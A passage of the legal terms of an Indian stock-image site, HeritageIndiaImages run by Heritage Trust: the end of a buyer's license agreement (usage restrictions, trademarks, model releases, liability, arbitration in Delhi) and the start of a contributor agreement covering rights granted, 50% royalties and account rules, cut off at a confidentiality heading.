2.5 Pornographic, defamatory, libelous, immoral, obscene, fraudulent or otherwise unlawful use of Licensed Material is strictly prohibited, whether directly or in context or in juxtaposition with specific subject matter. You further agree not to use the Licensed Material for any sensitive subject matter, as determined by HT, including but not limited to, Sex related products and services, sexually transmitted diseases, substance abuse, alcohol, tobacco, AIDS, cancer, mental ailments, homosexual or alternative lifestyle issues, and physical or mental abuse, without advance written consent from HT. Sensitive subject usage pertains to both commercial and editorial usage. Contact HT for verification of model releases. Availability of model releases does not grant the right to use the Licensed material in any sensitive issues mentioned above.

2.6 Licensed Material shall not be incorporated into a logo, trademark or service mark.

2.7 Licensee may not make the Licensed Material available in any medium in a manner intended to allow or invite persons to download or extract the Licensed Material.

2.8 Licensed Material may not be modified, reconfigured or repurposed for any use in any mobile-directed websites or mobile applications that are specifically created for viewing of Licensed Material on mobile applications, without obtaining the prior written consent of HT.

2.9 Licensee do not have the right to keep in possession or store any high-resolution files of the Licensed Material on their server, any digital media, disk or drive whether online or in any other medium from where any third party can have access to the Licensed Material.

2.10 Unless otherwise authorized by applicable law or specified in the Rights and Restrictions, Licensee may not, directly or indirectly, reproduce the final product of the Licensed use in any secondary reproductions, such as compilations, in-context promotions or on file-sharing, social networking websites such as YouTube, Facebook, Myspace, etc. or screen shots. Such reproductions require an additional license and prior written permission from HT and may be subject to payment of additional license fees.

2.11 Licensed Material shall not be used contrary to any restriction on use that is provided to Licensee prior to or at the time the Licensed Material is delivered to Licensee. Such restrictions may be included in the Rights and Restrictions or in any other written communication from HT. Any such restriction provided to the Licensee shall be incorporated into and become part of this Agreement.

2.12 Licensed Material may be cropped but shall not, under any circumstances, otherwise be altered, changed or tampered with, either manually or electronically, without HT express written permission.

2.13 Upon reasonable notice, HT may inspect any records, accounts and books relating to the Reproduction of any of the Licensed Material to ensure that the Licensed Material is being used in accordance with this Agreement.

2.14 Licensee grants to HT the irrevocable, perpetual, royalty-free, non-exclusive right and license to use Final Elements solely for the promotion of HT or any of its subsidiaries. For purposes of this paragraph, "Final Elements" shall mean any end product produced by Licensee pursuant to this Agreement, including, but not limited to use in magazines, books, feature films, television productions and other print.

2.15 Licensed Material shall not be used contrary to any restriction on use that is provided to the Licensee prior to or at the time the Licensed Material is delivered to the Licensee. Such restrictions may be included in the Rights and Restrictions or in any other written communication from HT. Any such restriction provided to the Licensee shall be incorporated into and become part of this Agreement.

2.16 Where Purchaser is licensing Licensed Material on behalf of a Licensee, Purchaser hereby represents and warrants that: (i) Purchaser is authorized to act as an agent on behalf of the Licensee and has full power and authority to bind Licensee to this Agreement; and (ii) if Licensee disputes Purchaser's power and authority to act on behalf of Licensee with respect to this Agreement, Purchaser shall be bound and liable for any failure of Licensee to comply with the terms of this Agreement. Nothing in this Section shall serve to excuse Purchaser's obligation to make payment to HT for the Licensed Material.

2.17 If the Rights and Restrictions include website use, Licensee shall post terms and conditions on its permitted websites that include restrictions on downloading the Licensed Material for other than personal use, and prohibit republication, retransmission, reproduction or other use of the Licensed Material.

2.18 Any of the body parts or basic features of the model(s) in the Licensed material must not be cropped, altered, manipulated or distorted without taking a prior written approval from HT.

3. INTELLECTUAL PROPERTY RIGHTS AND PHOTO CREDIT

3.1 HT is the sole and exclusive owner of all the material and content on HT's Websites, including, without limitation www.heritageindiaimages.comand websites of their affiliates and subsidiaries. All material and content on these Website, including, but not limited to design, layout, images, photographs, text, graphics, sound, video, trade-dress, trademarks, patents, written material ("HT Content") are the property of HT and is protected by all the applicable laws, including, but not limited to copyright, trademark, trade-names, patents, designs, internet domain names, data protection, IT Act, privacy and publicity rights and other rights and statutes. Use of any HT Content without the prior express written permission and license to use is strictly prohibited. All rights, title, ownership and intellectual property rights and proprietary rights in the Website and its Content shall remain with HT, its affiliates and subsidiaries and shall not pass on to the Licensee, their representatives or any third party at any time.

3.2 COPYRIGHT HT owns all copyrights in all the Content and Licensed Material on the Website. No ownership in any Content and Licensed Material shall to the Licensee by the issuance of the license contained in this Agreement. Except as expressly stated in this Agreement, HT grants Licensee no right or license, express or implied, to the Licensed Material. Licensee shall not remove any copyright or other proprietary rights notice contained in the Licensed Material and in any related promotional materials provided on this Website.

3.3 TRADEMARKS

3.3.1 HT is the exclusive owner and holder of HT Trademarks, www.imagesbazaar.com, www.shotindia.com, HT Audio Visuals or any other HT's trade names, trademarks, logos or service marks and any other slogan or design contained in the Website and otherwise used in trade ("HT Marks"). HT Marks shall remain the sole property of HT, its affiliates and subsidiaries, and may not be copied, imitated or used, in whole or in part, without the prior written permission of HT or the applicable trademark holder.

3.3.2 Licensee is not allowed to use, register, or assist others in using or registering any trademarks, trade names, logos, internet domain names, or any mark or name confusingly similar to HT Marks or belonging to HT without prior written consent from HT.

3.3.3 Licensee will not now or in the future contest the validity of HT Marks nor will oppose or assist others in opposing any registration of any of the HT Marks.

3.3.4 Licensee is not allowed to use any HT Marks in connection with any of their Works. All goodwill accruing to the HT Marks shall belong exclusively to HT.

3.3.5 Licensee agrees not to use HT Marks in any manner that might tarnish, disparage, or reflect adversely on such trademarks or HT.

3.3.6 Licensee agrees not to use any HT Marks or any variant thereof including misspellings as a domain name or as part of a domain name regardless of the top-level domain, or as a meta-tag, hidden text, keyword, or any other type of programming code or data.

3.3.7 Licensee cannot at any time, adopt or use, without HT's prior written consent any word or marks which is similar to or likely to be confused with HT Marks. In addition, the look and feel of the Website, including all page headers, custom graphics, button icons and scripts, is the service mark, trademark and/or trade dress of HT and may not be copied, imitated or used, in whole or in part, without HT's prior written permission.

3.3.8 Nothing in this Agreement shall confer upon Licensee any right of ownership in HT Marks.

3.3.9 Licensee cannot use HT Marks, Licensed Material or other Content of HT to link to their Website without the prior written consent of HT.

3.3.10 Licensee cannot frame or hotlink to the Website or any Content other than its own without the prior written consent of HT.

3.3.11 All other trademarks, registered trademarks, product names and company names or logos mentioned in the Website are the property of their respective owners. Reference to any products, services, processes or other information, by trade name, trademark, manufacturer, supplier, or otherwise does not constitute or imply endorsement, sponsorship or recommendation thereof by HT.

3.4 PHOTO CREDIT Editorial Licensed Material must include the following credit line adjacent to the Licensed Material: "ImagesBazaar/Photographer's Name" or as otherwise notified by HT. If Licensee omits the credit line in the use of Licensed Material, an additional fee in an amount up to one hundred percent (100%) of the original License fee may be payable by Licensee, at HT's sole discretion. The foregoing fee shall be in addition to any other rights or remedies that HT may have at law or in equity.

3.5 NOTICE OF VIOLATIONS Licensee will immediately notify HT if it becomes aware or suspects that any third party that has gained access to the Licensed Material through Licensee, is wrongfully using the Licensed Material, in whole or in part, or is violating any of HT's intellectual property rights and other rights, including, but not limited to, HT Marks and Copyrights.

4. RELEASES

4.1 HT will notify Licensee if it has obtained a model release and/or a property release for the Licensed Material, either in the Licensed Material on the Website, in the Rights and Restrictions or by written notice to the Licensee. The warranty and indemnity set forth in Clauses 5.1(iv) and 6.1 below are only provided if and when such written notification is given. If no such notification is given, then no such model or property release has been obtained and thereby, the warranty and indemnity as set forth in Clauses 5.1(iv) and 6.1 would become void and not enforceable. In the event that no notification as to model or property release is provided by HT, HT shall not be liable for any claims made by any third parties relating to use of the Licensed Material not having the model or property release. Licensee acknowledges that some jurisdictions provide legal protection against a person's image, likeness or property being used for commercial purposes without their consent. Neither HT nor any party on whose behalf HT licenses Licensed Material (each, a "Licensor") makes any representations or warranties as to whether any additional fees or payments may be due to any person depicted in Licensed Material pursuant to the requirements of any applicable law, and Licensee shall be solely responsible for any such additional fees or payments.

4.2 Except where Licensee is specifically notified that a model and/or property release has been obtained by HT, neither HT nor any Licensor grants any rights or makes any warranties with regard to the use of names, people, likeness, property, trademarks, trade dress, logos, registered, unregistered or copyrighted audio, designs or works of art or architecture depicted in any Licensed Material. Licensee shall be solely responsible for determining whether a release is required in connection with any proposed use of Licensed Material, and Licensee shall be solely responsible for obtaining any required release. As to any release delivered with any Editorial Licensed Material, neither HT, nor any Licensor, makes any representation, warranty or guarantee as to its sufficiency with regard to any use of the Licensed Material made by Licensee. Licensee shall obtain all necessary individual, model, property, team logo, trademark, audio and other releases, approvals and clearances from third parties as may be required for the Licensee's use of the Licensed Material prior to using the Licensed Material.

4.3 If any Licensed Material featuring a model or property is used in connection with a subject that would be unflattering or controversial to a reasonable person or in a manner that would lead a reasonable person to believe that the model personally uses or endorses a product or service, Licensee must accompany each such use with a statement that indicates that: (i) the Licensed Material is being used for illustrative purposes only; and (ii) any person depicted in the Licensed Material, if any, is a model.

5. WARRANTY AND LIMITATION OF LIABILITY

5.1 HT warrants that: (i) it has all necessary rights and authority to enter into and perform this Agreement; (ii) the Licensed Material will be free from defects in material and workmanship for thirty (30) days from delivery (Licensee's sole and exclusive remedy for a breach of this warranty being the replacement of the Licensed Material); (iii) Licensee's use of the Licensed Material in its original form, and when used strictly in accordance with this Agreement, will not infringe on any copyrights or moral rights of any person or entity; and (iv) if a release is provided by HT pursuant to Section 4.1, Licensee's use of the Licensed Material in its original form, and when used in accordance with this Agreement will not infringe on any trademark or other intellectual property right and will not violate any right of privacy or right of publicity.

5.2 HT uses reasonable efforts to ensure the accuracy, correctness and reliability of the information and Content, but HT makes no representations or warranties as to the Content posted by the third party User(s) as to its accuracy, correctness, reliability and any other irregularity.

5.3 NEITHER HT NOR ANY LICENSOR MAKES ANY OTHER WARRANTIES, EXPRESS OR IMPLIED, REGARDING THE LICENSED MATERIAL OR ITS DELIVERY SYSTEMS, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL HT, ITS AFFILIATES, SUBSIDIARIES AND THEIR RESPECTIVE DIRECTORS, EMPLOYEES, AGENTS, MEMBERS OR ANY LICENSOR BE LIABLE TO LICENSEE OR ANY OTHER PERSON OR ENTITY FOR ANY PUNITIVE, SPECIAL, INDIRECT, CONSEQUENTIAL OR INCIDENTAL DAMAGES, OR ANY OTHER DAMAGES, COSTS OR LOSSES, INCLUDING BUT NOT LIMITED TO LOSS OF USE, LOSS OF PROFITS OR LOSS OF DATA, WHETHER IN AN ACTION IN CONTRACT, TORT (INCLUDING, BUT NOT LIMITED TO NEGLIGENCE) OR OTHERWISE, ARISING OUT OF THIS AGREEMENT, IN ANY WAY CONNECTED WITH THE USE OF THE WEBSITE, THE SERVICES, HT IMAGE CONTENT OR THE MAETRIALS CONTAINED IN OR ACCESSED THROUGH THE WEBSITE, INCLUDING WITHOUT LIMITATION ANY DAMAGES CAUSED BY OR RESULTING FROM RELIANCE BY USER ON ANY INFORMATION OBTAINED FROM HT, OR THAT RESULTS FROM MISTAKES, OMISSIONS, INTERRUPTIONS, DELETION OF FILES OR EMAIL, ERRORS, DEFECTS, VIRUSES, DELAYS IN OPERATION OR TRANSMISSION OR ANY FAILURE OF PERFORMANCE, WHETHER OR NOT RESULTING FROM ACTS OF GOD, COMMUNICATIONS FAILURE, THEFT, DESTRUCTION OR UNAUTHORIZED ACCESS TO HT'S RECORDS, PROGRAMS OR SERVICES, EVEN IF HT OR ITS LICENSORS, AS APPLICABLE, HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, COSTS OR LOSSES. NO ACTION, REGARDLESS OF FORM OR NATURE, ARISING OUT OF THIS AGREEMENT MAY BE BROUGHT BY OR ON BEHALF OF LICENSEE OR PURCHASER MORE THAN ONE (1) YEAR AFTER THE CAUSE OF ACTION FIRST AROSE. SOME JURISDICTIONS DO NOT PERMIT THE EXCLUSION OR LIMITATION OF IMPLIED WARRANTIES OR LIABILITY FOR CERTAIN CATEGORIES OF DAMAGES.

5.4 In no event shall the aggregate liability of HT, whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of the site exceed any compensation the Licensee or the Purchaser pay, if any, to HT for access to or use of the Website and the Licensed Material.

6. INDEMNIFICATION

6.1 Provided Licensed Material is only used in accordance with this Agreement and Terms of Use of the Website and Licensee is not otherwise in breach of this Agreement and as Licensee's sole and exclusive remedy for any alleged or actual breach of the representations and warranties set forth in Clause 5, HT shall defend, indemnify and hold Licensee harmless from all damages (except punitive damages not directly attributable to acts of HT), liabilities and expenses (including reasonable attorneys' fees and permitted and authorized costs) arising out of or connected with any actual or threatened lawsuit, claim or legal proceeding alleging that HT is in breach of its warranties as set forth in Clause 5 above. The foregoing states HT's entire indemnification obligation under this Agreement.

6.2 Licensee shall defend, indemnify and hold HT and its parent, subsidiaries and commonly owned or controlled affiliates and their respective officers, directors, agents and employees harmless from all damages (except punitive damages not directly attributable to acts of Licensee), liabilities and expenses (including reasonable attorneys' fees and permitted and authorized costs) arising out of or as a result of claims by third parties relating to: (i) Licensee's use of any Licensed Material outside the scope of this Agreement; (ii) any other actual or alleged breach by Licensee of this Agreement; or (iii) Licensee's failure to obtain any required release. Such indemnification is in addition to HT's right to terminate for a breach of the representations and warranties and is not a waiver or limitation of HT's other rights or remedies.

6.3 The party seeking indemnification pursuant to this Clause 6 shall promptly notify the other party of such claim. At indemnifying party's option, indemnifying party may assume the handling, settlement or defense of any claim or litigation, in which event indemnified party shall cooperate in the defense of any such claim or litigation. Indemnified party shall have the right to participate in such litigation, at its own expense, through counsel selected by indemnified party. The indemnifying party will not be liable for legal fees and other costs incurred prior to the other party giving notice of the claim for which indemnity is sought.

7. CONDITION OF LICENSED MATERIAL

Licensee should examine all Licensed Material for possible defects (whether digital or otherwise) before sending any Licensed Material for Reproduction. Without prejudice to Section 5.1(ii) above, HT shall not be liable for any loss or damage suffered by Licensee or any third party, whether directly or indirectly, arising from any alleged or actual defect in any Licensed Material or its caption or in any way from its Reproduction.

8. GOVERNING LAW AND JURISDICTION

Any dispute, violation, controversy, contest or claim arising out of or relating to this Agreement or the breach, termination or validity thereof (hereinafter the "Disputes") shall be resolved amicably in the first instance. The Parties agree to meet to resolve such dispute in good faith. Should such a solution not be reached, within [30] days from the date of commencement of the dispute, difference or disagreement or such longer period of time as may be mutually agreed by the Parties in writing, such dispute, difference or disagreement shall be referred to Arbitration and shall be finally resolved through arbitration conducted by a tribunal of three arbitrators, with the right of each party to appoint an arbitrator, who in turn will appoint a Presiding Arbitrator. The Presiding Arbitrator shall pass a speaking award. Any order/directions/awards of the majority of the tribunal shall be final and binding on both the parties. The arbitration proceedings shall be in accordance with the Indian Arbitration and Conciliation Act 1996 and Rules there under as at present in force. The seat of arbitration shall be Delhi, India. The arbitration shall be administered in accordance with its practice, rules and regulations. If the award passed in the Arbitration proceeding is not acceptable to any of the Party, then the Party is free to approach the appropriate court of law as agreed herein below. This Agreement shall be construed in accordance with and governed by the laws of India without giving effect to their conflict of laws principles or rules. The courts at Delhi, India shall have exclusive Jurisdiction.

9. MISCELLANEOUS

9.1 UNAUTHORIZED USE Any use of the Licensed Material in a manner not expressly authorized by this Agreement or in breach of a term of this Agreement constitutes copyright infringement and other violation, entitling HT to exercise all rights and remedies available to it under copyright laws and other statutes around the world. Licensee shall be responsible for any damages resulting from any such copyright infringement and other violation, including any claims by a third party. In addition and without prejudice to HTs' other remedies under this Agreement, HT reserves the right to charge and Licensee agrees to pay a fee equal to up to five (5) times HT standard license fee for the unauthorized use of the Licensed Material.

9.2 TERMINATION Notwithstanding any of these terms and conditions, HT reserves the right, without notice in its sole discretion, to terminate Licensee's account and/or block Licensee's use of the Website. HT reserves the right to terminate this Agreement in the event Licensee: (i) enters the Agreement after having received the notice from HT for unauthorized use of the Licensed Material; (ii) provides inaccurate information for proposed usage of the Licensed Material; or (iii) otherwise breaches any of the terms and conditions of the Agreement and Terms of Use of the Website; (iv) Upon termination, Licensee must destroy and cease to use, delete all digital files from Licensee's database, return to HT the Licensed Material copies and related documentation thereof with immediate effect, and also return the License Work in possession or control of Licensee.

9.3 REMEDY FOR BREACH Licensee agree that any breach of this Agreement by Licensee or their representatives would cause HT irreparable harm, injury, loss and damage, the extent of which would be impossible to ascertain and for which monetary damages would not be an adequate remedy. Accordingly, in addition to any other remedies HT may have at law or in equity, HT shall be entitled to injunctive and other equitable relief in the event of any such breach of this Agreement by Licensee or their representatives.

9.4 HT reserves the right to change any of the terms and conditions contained in this Agreement or any policy or guideline of the Website, at any time and in its sole discretion. Licensee's continued use of the Website following the posting of such changes will constitute Licensee's acceptance of such changes and Agreement.

9.5 ELECTRONIC STORAGE For all Licensed Material that Licensee takes delivery of in electronic form, Licensee must retain the copyright symbol, the name of HT and the image number or other identification number associated with the Licensed Material as may be included as part of the electronic file containing the Licensed Material that is stored on Licensee's computers. Licensee may not make additional high-resolution copies of the Licensed Material and Licensee shall maintain a robust firewall to safeguard against unauthorized third-party access to the Licensed Material. Upon the expiration or earlier termination of this Agreement, Licensee shall promptly delete and remove the Licensed Material from Licensee's premises, computer systems and storage (electronic or physical) and shall ensure that its subcontractors do likewise.

9.6 AUDIT/CERTIFICATE OF COMPLIANCE Upon reasonable notice, Licensee shall provide sample copies of Reproductions containing Licensed Material to HT. In addition, upon reasonable notice, HT may, at its discretion, either through its own employees or through a third party, audit Licensee's records directly related to this Agreement and use of Licensed Material in order to verify compliance with the terms of this Agreement. Where HT reasonably believes that Licensed Material is being used outside the scope of the license granted under this Agreement, Licensee shall, at HT request, provide a certificate of compliance signed by an officer of Licensee, in a form to be approved by HT.

9.7 WITHDRAWAL Upon notice from HT, or upon Licensee's knowledge that any Licensed Material is subject to a threatened or actual claim of infringement, violation of another right, or any other claim for which HT may be liable herein, or if HT withdraws any Licensed Material for any good reason, Licensee will physically remove the Licensed Material from its premises, computer systems and storage (electronic or physical) and, cease any future use at its own expense.

9.8 SEVERABILITY If one or more of the provisions contained in this Agreement is found to be invalid, illegal or enforceable in any respect, the validity, legality and enforceability of the remaining provisions shall not be affected. Such provisions shall be revised only to the extent necessary to make them enforceable.

9.9 ENTIRE AGREEMENT This Agreement and Terms of Use of the Website (incorporated by reference) contains all the terms of this Agreement.

9.10 WAIVER No action of HT, other than express written waiver, may be construed as a waiver of any of provisions of this Agreement. A delay on the part of HT of its rights or remedies will not operate as a waiver of such rights or remedies, and a single or partial exercise by HT of any such rights or remedies will not preclude other or further exercise of that right or remedy. A waiver of a right or remedy on any occasion will not be construed as a bar to or waiver of rights or remedies on any other occasion. Any rights not expressly granted herein are reserved.

10. ACKNOWLEDGEMENT

YOU ACKNOWLEDGE AND AGREE THAT YOU HAVE READ THIS AGREEMENT AND UNDERSTAND IT PRIOR TO AGREEING TO IT. IN CONSIDERATION OF HT AGREEING TO PROVIDE THE CONTENT, YOU AGREE TO BE BOUND BY ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. YOU FURTHER AGREE THAT THIS IS THE ENTIRE AGREEMENT AND SUPERSEDES ANY PROPOSAL OR PRIOR AGREEMENT, ORAL OR WRITTEN, AND ANY OTHER COMMUNICATION BETWEEN HT AND YOU RELATING TO THE SUBJECT OF THIS AGREEMENT.

 



 


1This is a contract between HeritageIndiaImages and you (''the Contributor''). Heritage Trust (HT) maintains a website, www.heritageindiaimages.com (''HeritageIndiaImages''), engaged in the business of online portal containing images, photographs, video and other media content (''Content''). Registered users (''Members'') can browse and purchase and license content material from HeritageIndiaImages.com. Members can also elect to become content contributors (''Contributors''), which allows said Contributors to upload image files for the purpose of allowing HeritageIndiaImages to act as agent for licensing image rights to other users and third parties. HeritageIndiaImages in its sole discretion shall determine which of such Content is suitable for posting on the Site or other means of distribution, and only such Content as it deems suitable will be considered as ''Accepted Content'' for the purposes of applicable provisions of this Agreement. By registering you accept that a legally binding contract has been entered between you and HeritageIndiaImages on the terms and conditions as set out in the Agreement.


2 The Contributor wishes to appoint HeritageIndiaImages as its non-exclusive agent to license, sub-license and distribute Content produced by the Contributor on the terms and conditions of this Agreement, HeritageIndiaImages's License Agreement, as such Agreement may be amended from time to time or modified for certain clients consistent with the rights granted herein ("the License Agreement"), or any other distribution partner license agreement and as per the terms and conditions of this Site. For the purposes of this Agreement, License Agreement shall be deemed to include all of the Extended License options and provisions to which Contributor has opted in using his or her account profile on the Site.


3 By uploading Content, Contributor agrees to give HeritageIndiaImages and all users the irrevocable, non-exclusive, perpetual, royalty-free rights to use the Content for any purpose including but not limited to license, distribute, publication, display, modification, alteration, creation of derivative works, or products. Contributor also grants HeritageIndiaImages the right to use the Content for any and all promotional purposes. HeritageIndiaImages shall have the right to license any Content up until the time Contributor removes the Content from the Site. Once the Contributor uploads the Content on to the Site, the Contributor cannot remove the Content from the Site for a period of at least 180 days. Contributor has to give HeritageIndiaImages the opportunity to license and use the Content for at least 180 days. The Contributor agrees that HeritageIndiaImages and licensee shall have the right to use such Content which has been licensed to the licensee prior to the removal of the Content by the Contributor.


4 By uploading Content on HeritageIndiaImages the Contributor warrants that the content cannot be uploaded on any "Micro Stock Site". Under this Agreement the Contributor is strictly prohibited to upload similar Content on any Micro Stock Site. In the event the Contributor is found in breach of this clause, the Agreement shall be terminated immediately and the Contributor would also be liable to compensate HeritageIndiaImages for the breach.


5 This Agreement remains in full force and effect until terminated in accordance with its terms and conditions. If at any time the terms and conditions of this Agreement are no longer acceptable to the Contributor, the Contributor must follow the termination procedures set forth below under ''Termination''.

6 Under this Agreement, the Contributor authorises HeritageIndiaImages to:

6.1 The right to use, reproduce, distribute, redistribute, license, sublicense, publish, republish, upload, post, transmit, crop, package, repackage, produce and sell prints or similar image products or publicly perform or display Content to prospective licensees (i) through the Site; (ii) through affiliated or associated companies of HeritageIndiaImages and Heritage Trust; (iii) through third party distributors and alliance or channel partners of HeritageIndiaImages or Heritage Trust.
6.2 Add the images to one or more of its databases, including but not limited to HeritageIndiaImage and other affiliates and unit databases.
6.3 The right to grant perpetual, world-wide, non-exclusive, non-transferable licenses or sub-licenses to end-users in accordance with the terms of the License Agreement, as such Agreement may be amended from time to time or modified for certain clients consistent with the rights granted herein or any distribution partner license agreement provided that such agreement is consistent with rights granted to HeritageIndiaImages herein.
6.4 Contributor grants the right to alter the Content including cropping, manipulation, combining and creation of derivative images. Contributor also undertakes that the person who created the Content has waived all moral rights in respect of use of the Content pursuant to this Agreement by HeritageIndiaImages, its customers or any third parties
6.5 Contributor grants the right to use the Content without charge and without prior consent from Contributor in promotional and marketing material. Contributor agrees that any such promotional items may be distributed by HeritageIndiaImages worldwide for upto two years, notwiHTtanding the earlier termination of the Agreement for any reason. Promotional and marketing material also includes but not limited to search engine listings and Google images.

7 INTELLECTUAL PROPERTY RIGHTS
7.1 The Parties agree that all rights, including title and copyright, in and to the uploaded Accepted Content shall be retained by the Contributor, and no title or copyright is transferred or granted in any way to HeritageIndiaImages or any third party except as provided in this Agreement and the License Agreement. Under the Agreement HeritageIndiaImages's affiliates, associated companies or as specifically permitted in this Agreement, shall have the right to distribute the Content for the purposes of licensing, sale, resale or re-license.
7.2 HeritageIndiaImages prohibits any Content or any other material that infringes on any copyright, trademark, patent, and trade secret, right to privacy, right to publicity, or any other applicable law or proprietary right to be uploaded to the Site.
7.3 The Contributor guarantees and warranties that the Contributor owns all proprietary rights, including copyright, in and to the Content. The Contributor further warrants that for any image files or photograph containing people and other personal property, they have obtained the necessary and binding model release and property release. If the Contributor does not have a model or property release for the Content that contains an image or images of an identifiable person or property, HeritageIndiaImages may choose to accept the Content for so called editorial use at HeritageIndiaImages' sole discretion. The Contributor agrees that he is solely responsible for retaining all original model and property releases and maintaining complete and accurate model and property records. Model and property releases are to be electronically submitted to HeritageIndiaImages along with the submitted Content. The submission of falsified, inaccurate or otherwise defective model and property releases is a material breach of this Agreement and shall result in the immediate termination of Contributors account without prior notice. The model and property release presented by the Contributor shall be in line and in the same format as present at Model Release Form.
7.4 The Contributor agrees that neither HeritageIndiaImages nor any of its members, officers, employees, affiliates, associated units or agents shall be liable for any damages, whether, direct, indirect, consequential or incidental, arising out of the use of, or the inability to use any Content.
7.5 Nothing contained herein grants or shall be construed to grant the Contributor any rights to use any of HeritageIndiaImages', its affiliates and associated companies trademarks, logos, service marks, trade names, internet domain names, or other indications of origin used by HeritageIndiaImages now or in future. In connection with the use of www.HeritageIndiaImages.com, The Heritage HT or any other HeritageIndiaImages' trade names, trademarks, logos or service marks (''Marks''), Contributor acknowledges and agrees that (a) HeritageIndiaImages marks are and shall remain the sole property of HeritageIndiaImages, (b) nothing in this Agreement shall confer upon Contributor any right of ownership in HeritageIndiaImages Marks, (c) Contributor may not use, register, or assist others in using or registering any trademarks, trade names, logos, internet domain names, or any mark or name confusingly similar to HeritageIndiaImages Marks or belonging to HeritageIndiaImages without HeritageIndiaImages prior written consent, (d) Contributor shall not now or in the future contest the validity of HeritageIndiaImages Marks nor will oppose or assist others in opposing any registration of any of the HeritageIndiaImages Trademarks and (e) Contributor is not allowed to use any Marks of HeritageIndiaImages in connection with any of his Works. All goodwill accruing to the HeritageIndiaImages Trademarks under this Agreement shall belong to HeritageIndiaImages
7.6 Contributor agrees not to use HeritageIndiaImages's trademarks in any manner that might tarnish, disparage, or reflect adversely on such trademarks or HeritageIndiaImages. Nor will the Contributor contest or otherwise challenge (e.g., in any legal action or otherwise), or assist or encourage any other person or entity to contest or challenge, the validity of any of HeritageIndiaImages trademarks or the trademarks rights claimed by HeritageIndiaImages.
7.7 Contributor agrees not to use any HeritageIndiaImages trademarks or any variant thereof including misspellings as a domain name or as part of a domain name regardless of the top-level domain, or as a meta-tag, keyword, or any other type of programming code or data.
7.8 Contributor cannot at any time, adopt or use, without HeritageIndiaImages's prior written consent any word or marks which is similar to or likely to be confused with HeritageIndiaImages's trademarks.
7.9 The look and feel of the HeritageIndiaImages website, including all page headers, custom graphics, button icons, and scripts, is the trade dress and/or trademark or service mark and copyright of HeritageIndiaImages and may not be copied, imitated or used, in whole or in part, without the prior written consent of HeritageIndiaImages.
7.10 Contributor cannot use a HeritageIndiaImages trademark, logo, image or other proprietary graphic of HeritageIndiaImages to link to the HeritageIndiaImages website without the prior written consent of HeritageIndiaImages.
7.11 Contributor cannot frame or hotlink to the HeritageIndiaImages website or any Content other than its own without the prior written consent of HeritageIndiaImages.
7.12 While HeritageIndiaImages takes commercially reasonable steps to insure that the rights of its Contributors and those rights of Contributors are not violated by end users, subscribers and third parties, HeritageIndiaImages has no obligation to pursue legal action against any alleged copyright infringer of any of Contributor's rights in and to any Content.

8 ACCOUNTS
HeritageIndiaImages has the right to refuse to establish an account or to close any existing account, for fraud, copyright infringement, violation of third party's rights of privacy or publicity, artificially inflating downloads, repeated submission of material that is obscene in nature, violent or that might be construed as defamatory or for any breach of the terms of this Agreement, terms of this site, privacy policy and other Agreements that you have with HeritageIndiaImages. If your account is terminated for any reason you must obtain written authorization from HeritageIndiaImages prior to establishing another account. If you attempt to establish another account without obtaining such authorization, HeritageIndiaImages shall permanently ban you from this website and its affiliated websites and services. You may not have more than active submitter account at any time without the written consent of HeritageIndiaImages in each instance. If such consent is granted, you may not submit identical images to more than one account.

9 COMPENSATION
9.1 HeritageIndiaImages agrees to pay a percentage of 50 % of the license fee from the licensing of the Content by the end users. The parties acknowledge that the rate schedule may vary among various types of Content, such as still images, video footage or otherwise in accordance with its terms. HeritageIndiaImages may modify the rate schedule and licensing fees for the Content at any time and notify the same by an announcement on HeritageIndiaImages' login page of the modifications. If HeritageIndiaImages does modify the rate schedule, fees earned before the effective change in rates will be credited at the rate in effect at the time such fees was earned.
9.2 HeritageIndiaImages shall make payment of fees in respect of licensing of the Content on a monthly basis provided such fees aggregate a minimum amount of Rs.1000/-, failing which fees owning will be retained until they exceed such minimum amount. The payment of fees to the Contributor will be net of: (i) applicable taxes or other withholdings required by the applicable law; (ii) any amounts owned by the Contributor to HeritageIndiaImages under this Agreement or otherwise. HeritageIndiaImages shall have the right to set off against any amount owned by the Contributor on account of any threatened claim relating to any matter or any breach of warranty, indemnity and terms and conditions under this Agreement.
9.3 In the eventuality that HeritageIndiaImages is restrained from exercising any rights granted under this Agreement relating to the Content, HeritageIndiaImages shall not be required to compensate the Contributor on account of that Content.
9.4 If the Contributor's account is cancelled or closed for a breach of the material terms and conditions of this Agreement, in addition to its other rights at law or in equity, HeritageIndiaImages shall have the right to retain any royalties and/or other compensation otherwise payable to the Contributor hereunder as liquidated damages.
9.5 If HeritageIndiaImages makes an overpayment of fees or other compensation to the Contributor for any reason, HeritageIndiaImages shall have the right to deduct the amount of such overpayment from Contributor's account from his/her accrued fees or to demand the immediate repayment of such overpaid fees or other compensation.
9.6 Any breach of the rules relating to acceptable Content outlined in the Site will be deemed to be a breach of this Agreement. The Contributor grants HeritageIndiaImages the right to use the Accepted Content for its own business purposes relating to the promotion of the Site and its distribution programs, and expand the market for the licensing of Accepted Content (including, without limitation, the use of the Accepted Content and the Contributor's registered and unregistered trademarks relating to Content for marketing, sales and promotional efforts whether on the Site or through third parties). No compensation shall be due to the Contributor for use of Accepted Content for such business purposes.

10 MANAGING CONTENT
10.1 HeritageIndiaImages does not and cannot review all communications or Content uploaded to the Site and is not responsible for the content, quality, or consequences of your uploading such communications or Content. NotwiHTtanding the foregoing, HeritageIndiaImages reserves the right to delete, move, refuse to accept or edit any communication or Content that it may determine, in its sole discretion, violates or may violate this Agreement, the intellectual or proprietary rights of others, any of its policies or is otherwise unacceptable in its discretion, and you hereby agree to forfeit any fees payable in respect of such Content to HeritageIndiaImages or as it may direct. HeritageIndiaImages shall have the right but not the obligation to correct any errors or omissions in any Content, as it may determine in its sole discretion. You acknowledge that any screening of Content performed by HeritageIndiaImages to determine Accepted Content is done as a courtesy only.
10.2 Contributor acknowledges and agrees that the submitted Content shall be used by the licensees and the end-users in accordance with the terms and conditions of the License Agreement. In the eventuality that the end user does not adhere to the terms and conditions of the License Agreement and is in breach of the same and uses any Content as not contemplated in this Agreement and the License Agreement, HeritageIndiaImages shall have no liability to the Contributor or any person claiming through the Contributor for any breach of the terms of the Agreement.

11 CONFIDENTIAL INFORMATION
